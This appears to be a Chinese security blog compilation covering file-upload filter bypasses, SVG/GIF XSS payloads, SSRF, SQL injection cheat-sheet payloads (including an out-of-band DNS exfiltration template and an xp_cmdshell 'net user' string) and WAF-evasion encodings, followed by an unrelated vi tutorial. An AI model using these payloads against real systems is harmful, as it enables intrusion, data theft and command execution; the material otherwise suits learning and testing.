一般的文件文件上传限制都是用文件后缀名来判断文件是否为可上传文件。这时候根据语言的特性，可以选择不同的文件名截断方式来绕过对文件上传的限制。例如添加终止符0x00，比如xxx.php%00.jpg这里的.jpg被%00截断，传进服务器的还是xxx.php但是判断的时候后缀是jpg。所以，知道这里的校验方式对我们上传文件有很大的帮助

5.1 客户端校验

一般是再网页上写一段javascript脚本，校验上传文件的后缀，或白名单或黑名单。
判断方法：在浏览加载文件时，但是还没有点击上传按钮的时候弹窗弹出错误，此时并没有真正地发出数据包再返回值。
绕过方式：burp（burpsuit一个抓包工具，可百度）抓包，先上传一个能发出去的后缀类型的木马如gif,然后等他发包的时候再修改后缀。

5.2 服务器端校验

5.2.1 content-type字段检测


通过头信息里的content-tyoe字段检测
头信息里面会附带文件类型，服务端对这个字段的内容进行检测获取文件类型，再决定文件是否能够上传。
绕过方式：
抓包修改content-type字段修改成允许上传的类型如image/gif

5.2.2 文件头校验

通过自己写的正则匹配，哦判断文件头内容是不是能够上传。

  1. .JPEG;.JPE;.JPG，”JPGGraphic File”
    2 .gif，”GIF 89A”
    3 .zip，”Zip Compressed”
    4 .doc;.xls;.xlt;.ppt;.apr，”MS Compound Document v1 or Lotus Approach APRfile”

绕过方式：
在木马内容基础上加一些文件信息，比如GIF ->改GIF89a

###5.2.3 扩展名校验
MIME验证
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型，当该扩展名文件被访问的时候，浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名，以及一些媒体文件打开方式。
它是一个互联网标准，扩展了电子邮件标准，使其能够支持：
非ASCII字符文本;非文本格式附件(二进制、声音、图像等);由多部分(multiple parts)组成的消息体;包含非ASCII字符的头信息(Header information)。
这个标准被定义在RFC 2045、RFC 2046、RFC 2047、RFC 2048、RFC 2049等RFC中。 MIME改善了由RFC 822转变而来的RFC 2822，这些旧标准规定电子邮件标准并不允许在邮件消息中使用7位ASCII字符集以外的字符。正因如此，一些非英语字符消息和二进制文件，图像，声音等非文字消息原本都不能在电子邮件中传输(MIME可以)。MIME规定了用于表示各种各样的数据类型的符号化方法。 此外，在万维网中使用的HTTP协议中也使用了MIME的框架，标准被扩展为互联网媒体类型。
MIME的作用
使客户端软件区分不同种类的数据，例如web浏览器就是通过MIME类型来判断文件是GIF图片，还是可打印的PostScript文件。 Web服务器使用MIME来说明发送数据的种类，Web客户端使用MIME来说明希望接收到的数据种类。
一个普通的文本邮件的信息包含一个头部分(To: From: Subject: 等等)和一个体部分(Hello Mr.,等等)。在一个符合MIME的信息中，也包含一个信息头并不奇怪，邮件的各个部分叫做MIME段，每段前也缀以一个特别的头。MIME邮件只是基于RFC 822邮件的一个扩展，然而它有着自己的RFC规范集。
头字段：MIME头根据在邮件包中的位置，大体上分为MIME信息头和MIME段头。(MIME信息头指整个邮件的头，而MIME段头只每个MIME段的头。)
常见MIME类型

mimntype判断
一般先判断内容的前十个字节，来判断文件类型，然后再判断后缀名。
文件扩展名绕过
前提：黑名单校验
黑名单检测：一般有个专门的 blacklist 文件，里面会包含常见的危险脚本文件。
绕过方式：
(1)找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类
(2)可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
能被解析的文件扩展名列表：
jsp /jspx/ jspf
Asp/ asa /cer/ aspx

6.配合文件包含漏洞

6.1 服务端只对传入的asp/php/jsp文件的内容做特性判断

绕过方式
比如php
先上传一个一句话木马，后缀为txt，上传后不会被检测
在上传一个php文件来包含这个txt文件，上传后检测，但是这里面没有一句话木马的特性函数，

6.2 linux的后缀名大小写敏感特性

linux下php和pHp的结果是不一样的，可用pHp绕过

6.3 cms自身和编辑器漏洞

cms 漏洞:cms自带漏洞，可能是过滤不严，可能是上传位置权限大。
编辑器漏洞:编辑器插件的漏洞，这个需要大量的积累。
配合其他规则
(1)0x00截断：基于一个组合逻辑漏洞造成的，通常存在于构造上传文件路径的时候
test.php(0x00).jpg
test.php%00.jpg
路径/upload/1.php(0x00)，文件名1.jpg，结合/upload/1.php(0x00)/1.jpg

7.waf绕过

7.1 垃圾数据

这中检测是为了减少服务器负担，只对数据的都一段进行检测。攻击者可以先构造足够多的数据，再插入木马，就不会被检测到。这种过滤，多试几次，找到waf的规律就可以再合适的位置构造垃圾数据来绕过waf了。

7.2 filename

这个是很早期的漏洞了，有一点HPP(HTTP Parameter Polution) 的感觉，就是上传的时候上传两个filename参数，服务器就只会判断一个，而解析另外一个。

7.3 POST/GET/cookie

这要看waf检测哪种传参方式，如果没有对所有传参方式进行过滤，那就给了攻击者攻击的方式。

7.4 前文方式

同样前文提到的解析漏洞，文件包含等漏洞都可以用过来。

8.文件上传引起的xss攻击

8.1 触发点

一个文件上传点是执行XSS应用程序的绝佳机会。很多网站都有用户权限上传个人资料图片的上传点，只要你能找到一个回显位置，你就有很多机会找到相关漏洞。

8.2 漏洞成因

显式输出文件名，上传安全策略文件，上传了可执行的javascript文件

8.3 案例分析

1.显式输出文件名
文件名本身可能会显式反映在页面上，所以一个带有XSS明明的文件就足以进行XSS攻击





像这种将上传的文件名显示在页面中的，我们就可以构造文件名使浏览器执行攻击者设定好的脚本命令。
2.文件元数据
漏洞点还是要有能地方能显示图片详情

这样修改某个元数据，再加上网站能找到这个数据的输出点，攻击着就可以实现脚本的插入，造成XSS攻击。
3.VG格式的文件的Content
如果应用允许上传SVG格式的文件（其实就是一个图像类型的），那么带有以下content的文件可以被用来触发XSS：

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>



这段代码只要存在于服务器中，用户访问就能造成XSS攻击，所以只要用户能上传一段这样内容的文件到服务器，在诱导其他用户或者管理点击就会获取他们的私密信息。
4.源码引用，执行javascript脚本
就像前文提到的，只要能引用，就能做我们想做的事儿，我们可以很容易的创建一张包含 javascript payload 的 GIF 图片，然后将这张图片当做源码加以引用。
如果我们可以成功的注入相同的域名，如下所示，则这样可以有效的帮我们绕过 CSP（内容安全策略）防护（其不允许执行例如

<script>alert(1)</script>

）

这里我们上传一个包含xss脚本的GIF图片，创建这样一张图片可以使用如下内容并将文件命名为 .gif 后缀： 

GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;

GIF 文件标识 GIF89a 做为一个 javascript 的变量分配给 alert 函数。中间注释部分的 XSS 是为了以防图像被检索为 text/HTML MIME 类型时，通过请求文件来执行 payload。


访问它，表示它已经上传成功


这个的漏洞在于，如果对上传文件的过滤仅仅限于后缀，文件头等信息的过滤，我们可以利用这个文件本地包含（也就是利用这份代码来当源码），那么就可以造成xss漏洞。

show all >>

SSRF

1.什么是SSRF？

服务端请求伪造攻击（Server-side Request Forgery）。是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）。
打个比方，就是攻击者问你（web服务器）你朋友（内网）的手机号（一般外网无权访问的文件），他自己去问肯定不容易要到，但通过你这里去要，就变得轻而易举了。

2.SSRF如何实现？

很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL，web应用可以获取图片，下载文件，读取文件内容等。这个功能如果被恶意使用，可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。比如百度识图这种可以引入其他服务器的资源的web应用，如果自身不做好过滤和防护，那么极有可能作为跳板被用于攻击远程和本地的服务器

3.从ssrf触发点看如何挖掘ssrf漏洞

3.1 ssrf触发点

这个漏洞的触发点在一个能传入其他服务器资源让web服务器进行资源申请（去访问传入的url地址并请求文件）。

3.2 漏洞常见出没位置

分享位置，可以通过URL地址分享网页内容
转码服务
在线翻译
图片加载与下载：通过URL地址加载或下载
图片，文章收藏功能
未公布的api（接口或者叫插件）实现以及其他调用URL的功能
从URL关键字中寻找。如：
share/wap/url/link/src/source/target/u/3g/display/sourceURL/imageURL/domain等

3.3 漏洞验证

3.3.1

由于ssrf的攻击方式是构造伪造服务器请求的安全漏洞，所以我们就可以通过抓包分析发送的请求是否是由服务器发送的来判断是否存在ssrf漏洞。

3.3.2

通过源码，查看请求资源的方式，如果这个资源是服务器请求过来的如：http://www.xxx.com/a.php?image=（地址），这种形式就有可能出现SSRF漏洞。

4.ssrf经典案例分析

百度某处SSRF可漫游内网
漏洞在站长工具-移动专区-移动友好度里面
http://zhanzhang.baidu.com/mf/index?site=http://baidu.com
点击“一键检测”，就会在他们的移动终端浏览器访问且截图返回给你
虽然他在这里对网址做了一点限制

这里攻击者在自己的公网网站上放一个文件 嵌入一个百度的内网地址 再检测访问这个文件。




以上都是用这个方法访问到的二级域名，比如emp01.baidu.com这种同一内网的其他网站。

通过UA（浏览器类型）得知是ios8系统，
结合之前的iphone浏览器漏洞，就可以导致这台服务器终端注销，拒绝服务。
这就是一个典型的ssrf通过服务器请求自身所在网段的其他信息，造成的漏洞。

5.总结

ssrf说到底就是用服务器自身的请求客户想要的其他地方的资源的功能，来请求自身内网资源，越过了客户这一层，也可以算是一种逻辑漏洞。

show all >>

SQLi

记一次环境测试并总结下sql注入

前言

最近帮老板测试了下他的sql注入联系环境，刚好我也想看看《mysql-injection》,这本sql注入天书，然后总结下写点东西。

开始

一般的什么get、post、单引号之类的测试这里就不一一累述了，主要想记录总结下一些开始没怎么学懂的东西。

基于布尔sql盲注
1.`select if((select left(database(),1))>'a',2,3);`

left(a,b)从左侧截取a的前b位

2.`(ascii(substr((select flag from flag),1,1)))>100 --+`

substr(a,b,c)从c位置开始，截取字符串a的c长度
ascii()将某个字符转换为ascii值

3.`ord(mid((select ifnull(cast(username as char),0x20) from security.user order by id limit 0,1),1,1))>98%23`

mid(a,b,c)从位置b开始，截取a字符串的c位
ord()函数同ascii()，将字符转为ascii值
cast(a as b)将a转换为b类型
ifnull(a,b)a不是null就取a，是就取b

4.`select user() regexp \'^[a-z]\';`

正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。匹配正确为1，不正确为0。

5.`select user() like \'ro%\'`

有则1，没有则0

基于报错的sql盲注——构造payload让信息通过错误提示回显出来

1.` select 1,count(),concat(0x3a,0X3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from infomation_schema.columns group by a;``

一是concat计数，二是floor，取得0 or 1，进行数据重复，三是group by进行分组，原理好像
http://www.cnblogs.com/xdans/p/5412468.html这是一个好文，还有以下变形
select count(*) from information_schema.tables froup by concat(version(),floor(rand(0)*2))
如果关键点表被禁用了可以使用用户变量来报错
select min(@a=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
2.select exp(~(select * from (select user())a))
double数值类型超出范围
exp()为以e的底的对数函数:版本在5.5.5及其以上

3.select !(select * from (select user())x) - ~0

bigint 超出范围：~0是对0逐位取反，版本在5.5.5及其以上

4.extractvalue(1,concat(0x7e,(select @@version),0x7e)) se

mysql对xml数据进行查询和修改的xpath函数，xpath语法错误

5.updatexml(1,concat(0x7e,(select @@version),0x7e),1)

mysql对xml数据进行查询和修改的xpath函数，xpath语法错误

6.select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

mysql重复特征，此处重复了version，所以报错。

#####基于时间的sql盲注
1.if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)))>10,sleep(1),NULL)%23

if(a,b,c) a假则执行b

2.`if(ascii(substring((SELECT flag FROM flag),1,1))=119,(select benchmark(10000000,md5(0x41))),1)%23`

benchmark(a,b)执行b命令a次，算一种ddos推荐sleep

load_file()和into outfile()

1.load_file()导出文件

`select 1,user(),load_file(\'/var/www/html/db.php\')``

load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

使用条件：

  • 必须有读取权限且文件必须完全可读
  • 欲读文件必须在服务器上
  • 必须指定文件完整路径(有些课报错爆出绝对路径)
  • 欲读取文件必须小于max_allowed_packet

可用char()编码后的代替

或者直接16进制

/用\\代替（win）

2.文件导入到数据库
3.导入到文件
select...into outfile \'filename\'

带外攻击（OOB）

(SELECT LOAD_FILE(concat(‘’,({INJECTION}), ‘yourhost.com’)))
将 NBNS 查询请求或 DNS 解析请求转到 com

后记

这次记录了很多注入的手法，有常见的也有不怎么常见的，主要是很早就想好好地记录总结下sql了，借此机会就成热打铁写了这篇文章，其中借鉴不少天书的记录，后面会针对wafbypass做些收集并整理出来。

show all >>

Bypass WAF

绕过WAF（仅对正则）

前言

前段时间说的会新开一篇记录waf，进行了一波收集之后发现自己还是太菜了，waf说你对力量一无所知，翻阅资料之后，知道了waf这点高深莫测，bypass有很多方面

  • 从架构层Bypass WAF 。
  • 从资源限角度bypass WAF。
  • 从协议层面bypass WAF。
  • 从规则缺陷bypass WAF。

这里只对目前我能理解范围内规则缺陷进行整理

从目前能找到的资料来看，我把这些绕过waf的技术分为9类，包含从初级到高级技巧
a) 大小写混合
b)替换关键字
c)使用编码
d)使用注释
e)等价函数与命令
f)特殊符号
g)HTTP参数控制
h)缓冲区溢出
i)整合绕过

a. 大小写绕过
大小写绕过用于只针对小写或大写的关键字匹配技术，正则表达式/express/i 大小写不敏感即无法绕过，这是最简单的绕过技术 

举例：z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

示例场景可能的情况为filter的规则里有对大小写转换的处理，但不是每个关键字或每种情况都有处理

b. 替换关键字
这种情况下大小写转化无法绕过，而且正则表达式会替换或删除select、union这些关键字，如果只匹配一次就很容易绕过 

举例：`z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4`

同样是很基础的技术，有些时候甚至构造得更复杂：SeLSeselectleCTecT，不建议对此抱太大期望
c. 使用编码

1.URL编码

在Chrome中输入一个连接，非保留字的字符浏览器会对其URL编码，如空格变为%20、单引号%27、左括号%28、右括号%29

普通的URL编码可能无法实现绕过，还存在一种情况URL编码只进行了一次过滤，可以用两次编码绕过：

`page.php?id=1%252f%252a*/UNION%252f%252a /SELECT`

2.十六进制编码

举例：`z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…`
`SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))`

示例代码中，前者是对单个字符十六进制编码，后者则是对整个字符串编码，使用上来说较少见一点

3.Unicode编码

Unicode有所谓的标准编码和非标准编码，假设我们用的utf-8为标准编码，那么西欧语系所使用的就是非标准编码了

看一下常用的几个符号的一些Unicode编码：

单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a

空格：%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号：%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号：%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

举例：`?id=10%D6‘%20AND%201=2%23`
`SELECT 'Ä'='A'; #1`

两个示例中，前者利用双字节绕过，比如对单引号转义操作变成\’，那么就变成了%D6%5C’，%D6%5C构成了一个宽字节即Unicode字节，单引号可以正常使用

第二个示例使用的是两种不同编码的字符的比较，它们比较的结果可能是True或者False，关键在于Unicode编码种类繁多，基于黑名单的过滤器无法处理所以情况，从而实现绕过

另外平时听得多一点的可能是utf-7的绕过，还有utf-16、utf-32的绕过，后者从成功的实现对google的绕过，有兴趣的朋友可以去了解下

常见的编码当然还有二进制、八进制，它们不一定都派得上用场，但后面会提到使用二进制的例子
d. 使用注释
看一下常见的用于注释的符号有哪些：//,-- ,/**/, #,--+,-- -, ;，--a
1.普通注释
举例：z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4　　　 'union%a0select pass from users#
//在构造得查询语句中插入注释，规避对空格的依赖或关键字识别;#、–+用于终结语句的查询
2.内联注释
相比普通注释，内联注释用的更多，它有一个特性/!/只有MySQL能识别

举例：`index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…`

两个示例中前者使用内联注释，后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分，要做到这一点后面讨论的特殊符号也能实现，当然前提是包括/、在内的这些字符能正常使用
e. 等价函数与命令
有些函数或命令因其关键字被检测出来而无法使用，但是在很多情况下可以使用与之等价或类似的代码替代其使用
1.函数或变量
hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() mid()、substr() ==> substring() @@user ==> user() @@datadir ==> datadir()举例：substring()和substr()无法使用时：?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者：substr((select ‘password’),1,1) = 0x70
　　　strcmp(left(‘password’,1), 0x69) = 1
　　 strcmp(left(‘password’,1), 0x70) = 0
　　　strcmp(left(‘password’,1), 0x71) = -1
上述这几个示例用于说明有时候当某个函数不能使用时，还可以找到其他的函数替代其实现，置于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论
2.符号
and和or有可能不能使用，或者可以试下&&和||能不能用；还有=不能使用的情况，可以考虑尝试<、>，因为如果不小于又不大于，那边是等于了
在看一下用得多的空格，可以使用如下符号表示其作用：%20 %09 %0a %0b %0c %0d %a0 /*/
3.生僻函数
MySQL/PostgreSQL支持XML函数： 

Select UpdateXML(‘<script x=_></script>’,’/script/@x/’,’src=//evil.com’);  
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror));　//postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

MySQL、PostgreSQL、Oracle它们都有许多自己的函数，基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能，而且代价太大，看来黑名单技术到一定程度便遇到了限制
4.冷门函数/标签绕过 

1. /1.php?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))  
2. /1.php?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

5.附加函数记录
可运用的sql函数&关键字：
MySQL：

union distinct
union distinctrow
procedure analyse()
updatexml()
extracavalue()
exp()
ceil()
atan()
sqrt()
floor()
ceiling()
tan()
rand()
sign()
greatest()

字符串截取函数

Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)

字符串连接函数

concat(version(),’|’,user());
concat_ws(‘|’,1,2,3)

字符转换

Char(49)
Hex(‘a’)
Unhex(61)

过滤了逗号
(1)limit处的逗号：

limit 1 offset 0

(2)字符串截取处的逗号
mid处的逗号：

mid(version() from 1 for 1)

MSSQL：

IS_SRVROLEMEMBER()
IS_MEMBER()
HAS_DBACCESS()
convert()
col_name()
object_id()
is_srvrolemember()
is_member()

字符串截取函数

Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)

(2)字符串转换函数

Ascii(‘a’) 这里的函数可以在括号之间添加空格的，一些waf过滤不严会导致bypass
Char(‘97’)
exec

Mysql BIGINT数据类型构造溢出型报错注入： BIGINT Overflow Error Based SQL Injection
http://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html
f. 特殊符号
这里我把非字母数字的字符都规在了特殊符号一类，特殊符号有特殊的含义和用法，涉及信息量比前面提到的几种都要多
先看下乌云drops上“waf的绕过技巧”一文使用的几个例子：
1.使用反引号，例如selectversion()`，可以用来过空格和正则，特殊情况下还可以将其做注释符用

2.神奇的”-+.”，select+id-1+1.from users; “+”是用于字符串连接的，”-”和”.”在此也用于连接，可以逃过空格和关键字过滤
3.@符号，select@^1.from users; @用于变量定义如@var_name，一个@表示用户定义，@@表示系统变量
4.Mysql function() as xxx 也可不用as和空格　　 select-count(id)test from users; //绕过空格限制
可见，使用这些字符的确是能做很多事，也证实了那句老话，只有想不到，没有做不到
本人搜罗了部分可能发挥大作用的字符(未包括’、*、/等在内，考虑到前面已经出现较多次了)：`、~、!、@、%、()、[]、.、-、+ 、|、%00
举例：
关键字拆分：

‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+’ster..x’+’p_cm’+’dsh’+’ell ”net user”’)
!和()：’ or –+2=- -!!!’2
id=1+(UnI)(oN)+(SeL)(EcT)　//另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔

本节最后在给出一些和这些字符多少有点关系的操作符供参考：

>>, <<, >=, <=, <>,<=>,XOR, DIV,
SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

使用这些”特殊符号”实现绕过是一件很细微的事情，一方面各家数据库对有效符号的处理是不一样的，另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段
g. HTTP参数控制
这里HTTP参数控制除了对查询语句的参数进行篡改，还包括HTTP方法、HTTP头的控制
1.HPP(HTTP Parameter Polution)
举例：

/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users

2.HPF(HTTP Parameter Fragment)
这种方法是HTTP分割注入，同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
举例： 

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

看罢上面两个示例，发现和HPP最后一个示例很像，不同之处在于参数不一样，这里是在不同的参数之间进行分割，到了数据库执行查询时再合并语句。
3.HPC(HTTP Parameter Contamination)
这一概念见于exploit-db上的paper：Beyond SQLi: Obfuscate and Bypass，Contamination同样意为污染
RFC2396定义了如下一些字符：
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ‘ ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `

h. 缓冲区溢出(Advanced)
缓冲区溢出用于对付WAF，有不少WAF是C语言写的，而C语言自身没有缓冲区保护机制，因此如果WAF在处理测试向量时超出了其缓冲区长度，就会引发bug从而实现绕过
举例：

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A”重复1000次，一般来说对应用软件构成缓冲区溢出都需要较大的测试长度，这里1000只做参考，在某些情况下可能不需要这么长也能溢出

后记

后面还有几种wafbypass，会继续研究的，总觉得时间不怎么够用，毕竟半路出家，前面的苦路还很多。

show all >>

How To Use Vi Editor

vi 和 vim 编辑器

为什么要学vim

  • 所有的unix like 系统都会内置vi文本编辑器，其他的文本编辑器不一定会存在；
  • 很多的软件的编辑接口都会主动调用vi；
  • vim具有程序编辑的能力，可以主动以字体颜色判别语法的正确性；
  • 陈旭简单，编辑速度相当快速。

具体细节

  • 一般模式

以vi打开一个文件就直接进入一般模式了（这是默认的模式）。在这个模式中，你可以使用上下左右案件来移动光标，你可以删除字符或者整行删除，也可以复制，粘贴你的文件数据。

  • 编辑模式

在一般模式中可以进行删除、复制、粘贴操作，但是却无法编辑文件内容的。要等你按下”i,I（修改）,o,O（新行）,a,A,r,R（替换）”等任何一个字母之后才会进入编辑模式。通常在Linux中，按下这些按键时，在界面的左下方会出现INSREERT或REPLACE等字样，此时才可以进行编辑。而如果要回到一般模式，则必须要按下[Esc]按键才能退出编辑模式。

  • 命令行模式

在一般模式当中，输入”:,/,?”3各种任何一个按钮，就可以将光标移动到最下面那一行。在这个模式当中们可以提供你查找数据的操作，而读取、保存、大量替换字符、离开vi、显示行号等的操作则是在此模式中完成的。

按键说明

  • 进入 vi 编辑器

vi filename　 如果filename存在，则打开；否则会创建一个新文件再打开。

vi -R filename　 以只读模式（只能查看不能编辑）打开现有文件。

view filename　 以只读模式打开现有文件。

  • 退出 vi 编辑器

一般在命令模式下退出 vi 编辑器。

q 　如果文件未被修改，会直接退回到Shell；否则提示保存文件。

q! 　强行退出，不保存修改内容。

wq 　w 命令保存文件，q 命令退出 vi，合起来就是保存并退出。

ZZ 　保存并退出，相当于 wq，但是更加方便。

退出之前，你也可以在 w 命令后面指定一个文件名，将文件另存为新文件，例如：
w filename2

将当前文件另存为 filename2。

  • 移动光标

为了不影响文件内容，必须在普通模式（按两次 Esc 键）下移动光标。使用下表中的命令每次可以移动一个字符：

k 　向上移动光标（移动一行）

j 　向下移动光标（移动一行）

h 　向左移动光标（移动一个字符）

l 　向右移动光标（移动一个字符）

vi 是区分大小写的，输入命令时注意不要锁定大写。可以在命令前边添加一个数字作为前缀，例如，2j 将光标向下移动两行。

当然，还有很多其他命令来移动光标，不过记住，一定要在普通模式（按两次 Esc 键）下。

用来移动光标的命令

0 或 |　 将光标定位在一行的开头。

$ 　将光标定位在一行的末尾。

w 　定位到下一个单词。

b 　定位到上一个单词。

( 　定位到一句话的开头，句子是以 ! . ? 三种符号来界定的。

) 　定位到一句话的结尾。

{ 　移动到段落开头。&&&&&&

} 　移动到段落结束。&&&&&&&&&

[[ 　回到段落的开头处。&&&&&&&&&&

]] 　向前移到下一个段落的开头处。&&&&&&&&&&

n| 　移动到第 n 列（当前行）。

1G 　移动到文件第一行。

G 　移动到文件最后一行。

nG 　移动到文件第 n 行。

:n 　移动到文件第 n 行。

H 　移动到屏幕顶部。

nH 　移动到距离屏幕顶部第 n 行的位置。

M 　移动到屏幕中间。

L 　移动到屏幕底部。

nL 　移动到距离屏幕底部第 n 行的位置。

:x 　x 是一个数字，表示移动到行号为 x 的行。

  • 控制命令

有一些控制命令可以与 Ctrl 键组合使用，如下：

CTRL+d 　向前滚动半屏

CTRL+f 　向前滚动全屏

CTRL+u 　向后滚动半屏

CTRL+b 　向后滚动整屏

CTRL+e 　向上滚动一行

CTRL+y 　向下滚动一行

CTRL+I　 刷新屏幕

  • 编辑文件

切换到编辑模式下才能编辑文件。有很多命令可以从普通模式切换到编辑模式，如下所示：

i 　在当前光标位置之前插入文本

I 　在当前行的开头插入文本

a 　在当前光标位置之后插入文本

A 　在当前行的末尾插入文本

o 　在当前位置下面创建一行

O 　在当前位置上面创建一行 　

  • 删除字符
    　
    下面的　命令，可以删除文件中的字符或行：
    　
    x 删除当前光标下的字符
    　
    X 　删除光标前面的字符
    　
    dw 　删除从当前光标到单词结尾的字符
    　
    d^ 　删除从当前光标到行首的字符
    　
    d$ 　删除从当前光标到行尾的字符
    　
    D 　删除从当前光标到行尾的字符
    　
    dd 　删除当前光标所在的行

可以在命令前面添加一个数字前缀，表示重复操作的次数，例如，2x 表示连续两次删除光标下的字符，2dd 表示连续两次删除光标所在的行。

  • 修改文本

如果你希望对字符、单词或行进行修改，可以使用下面的命令：

cc 　删除当前行，并进入编辑模式。

cw 　删除当前字（单词），并进入编辑模式。

r 　替换当前光标下的字符。

R 　从当前光标开始替换字符，按 Esc 键退出。

s 　用输入的字符替换当前字符，并进入编辑模式。

S 　用输入的文本替换当前行，并进入编辑模式。

  • 粘贴复制

vi 　中的复制粘贴命令：

yy 　复制当前行

nyy 　复制n行

yw 　复制一个字（单词）

nyw 　复制n行

p 　将复制的文本粘贴到光标后面

P 　将复制的文本粘贴到光标前面

  • 高级命令

下面的一些命令虽然看起来有些古怪，但是会让你的工作更有效率，如果你是 vi 重度用户，就了解一下吧。

J 　将当前行和下一行连接为一行

<< 　将当前行左移一个单位（一个缩进宽度）

　>> 　将当前行右移一个单位（一个缩进宽度）

~ 　改变当前字符的大小写

^G 　Ctrl+G组合键可以显示当前文件名和状态

U 　撤销对当前行所做的修改

u 　撤销上次操作，再次按 ‘u’ 恢复该次操作

:f 　以百分号(%)的形式显示当前光标在文件中的位置、文件名和文件的总
行数

:f filename 　将文件重命名为 filename

:w filename 　保存修改到 filename

:e filename 　打开另一个文件名为 filename 的文件

:cd dirname 　改变当前工作目录到 dirname

:e # 　在两个打开的文件之间进行切换

:n 　如果用 vi 打开了多个文件，可以使用 :n 切换到下一个文件

:p 　如果用 vi 打开了多个文件，可以使用 :n 切换到上一个文件

:N 　如果用 vi 打开了多个文件，可以使用 :n 切换到上一个文件

:r 　file 读取文件并在当前行的后边插入

:nr file　读取文件并在第 n 行后边插入

  • 文本查找

如果希望进行全文件搜索，可以在普通模式（按两次 Esc 键）下输入 / 命令，这时状态栏（最后一行）出现”/“并提示输入要查找的字符串，回车即可。

/ 　命令是向下查找，如果希望向上查找，可以使用 ? 命令。

这时，输入 n 命令可以按相同的方向继续查找，输入 N 命令可以按相反的方向继续查找。

搜索的字符串中可以包含一些有特殊含义的字符，如果希望搜索这些字符本身，需要在前面加反斜杠()。

部分特殊字符列表

^　匹配一行的开头

.　匹配一个字符

*　匹配0个或多个字符

$　匹配一行的结尾

[ ] 匹配一组字符

如果希望搜索某行中的单个字符，可以使用 f 或 F 命令，f 向上搜索，F 向下搜索，并且会把光标定位到匹配的字符。

也可以使用 t 或 T 命令：t 命令向上搜索，并把光标定位到匹配字符的前面；T 命令向下搜索，并把光标定位到匹配字符的后面。

  • set 命令

set 命令可以对 vi 编辑器进行一些设置。使用 set 命令需要进入命令模式。

:set 　命令选项

:set ic　 搜索时忽略大小写。

:set ai　 设置自动缩进（自动对齐）。

:set noai　 取消自动缩进（自动对齐）。

:set nu 　显示行号。

:set sw 　设置缩进的空格数，例如，将缩进空格数设置为4：:set sw=4。

:set ws 　循环搜索：如果直到文件末尾也没有查找到指定字符，那么会回
到开头继续查找。

:set wm 　设置自动换行，例如，设置距离边际2个字符时换行：:set
wm=2 。

:set ro 　将文件类型改为只读。

:set term　 输出终端类型。

:set bf 　忽略输入的控制字符，如 BEL(响铃)、BS(退格)、CR(回车)等。

  • 运行命令

切换到命令模式，再输入 ! 命令即可运行 Linux 命令。

例如，保存文件前，如果希望查看该文件是否存在，那么输入

:! ls

即可列出当前目录下的文件。

按任意键回到 vi 编辑器。

文本替换

切换到命令模式，再输入 s/ 命令即可对文本进行替换。语法为：

:s/search/replace/g

search 为检索的文本，replace 为要替换的文本，g 表示全局替换。

后记

